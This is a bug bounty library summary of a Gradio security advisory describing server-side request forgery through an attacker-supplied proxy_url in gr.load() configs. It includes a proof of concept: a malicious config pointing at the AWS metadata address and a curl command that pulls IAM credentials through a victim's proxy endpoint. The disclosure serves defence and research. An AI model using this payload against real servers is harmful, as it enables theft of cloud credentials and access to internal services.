# Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing

Gradio's gr.load() trusts attacker-supplied proxy_url from a malicious Space config, letting attackers proxy requests to AWS metadata and internal services via the victim's server.

- Payout: Research
- Severity: high
- Program: Gradio
- Found by: logicx24
- Disclosed: 2026-03-01
- CVE: CVE-2026-28416
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jmh7-g254-2cq9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jmh7-g254-2cq9
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:aws tech:python technique:source-review vuln:ssrf

**Target:** Gradio app /proxy={url_path} endpoint and config processing in gr.load()
**Root cause:** Blocks.from_config() adds the untrusted config's proxy_url directly to self.proxy_urls, and the /proxy route validates only that the requested URL's host matches a trusted proxy_url host, so an attacker-chosen host becomes trusted.
**Steps:**
1. Attacker hosts a malicious Gradio Space whose config includes `"proxy_url": "http://169.254.169.254/"`.
2. Victim loads it: `demo = gr.load("attacker/malicious-space")` then `demo.launch(...)`.
3. Config processing adds the attacker proxy_url to self.proxy_urls (blocks.py:1231-1233).
4. Attacker requests `curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"`; host check passes and victim proxies the request.
**How found:** Code review of the config-processing flow: noticed proxy_url from remote config is added to the trusted allowlist, and the /proxy route validates only host equality against that allowlist.
**Exploitation:** Attacker publishes a Space with a malicious proxy_url, waits for a victim app to gr.load() it, then sends requests to the victim's /proxy= endpoint targeting the attacker-chosen host (e.g. AWS metadata) to read responses through the victim's network position.
**Escalation:** Point proxy_url at cloud metadata endpoints to steal IAM credentials, or at internal databases/admin panels for recon and data exfiltration.
**Insight:** When a framework builds an allowlist from remote/untrusted config, the allowlist itself becomes attacker-controlled; check whether trust decisions derive from data fetched over the same untrusted channel.

## Proof of concept (copied exactly from the original report)

**Malicious Space config with AWS metadata proxy_url**

```
{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}
```

**Victim loads malicious Space via gr.load**

```
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
```

**Curl SSRF to AWS credentials via proxy**

```
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
```

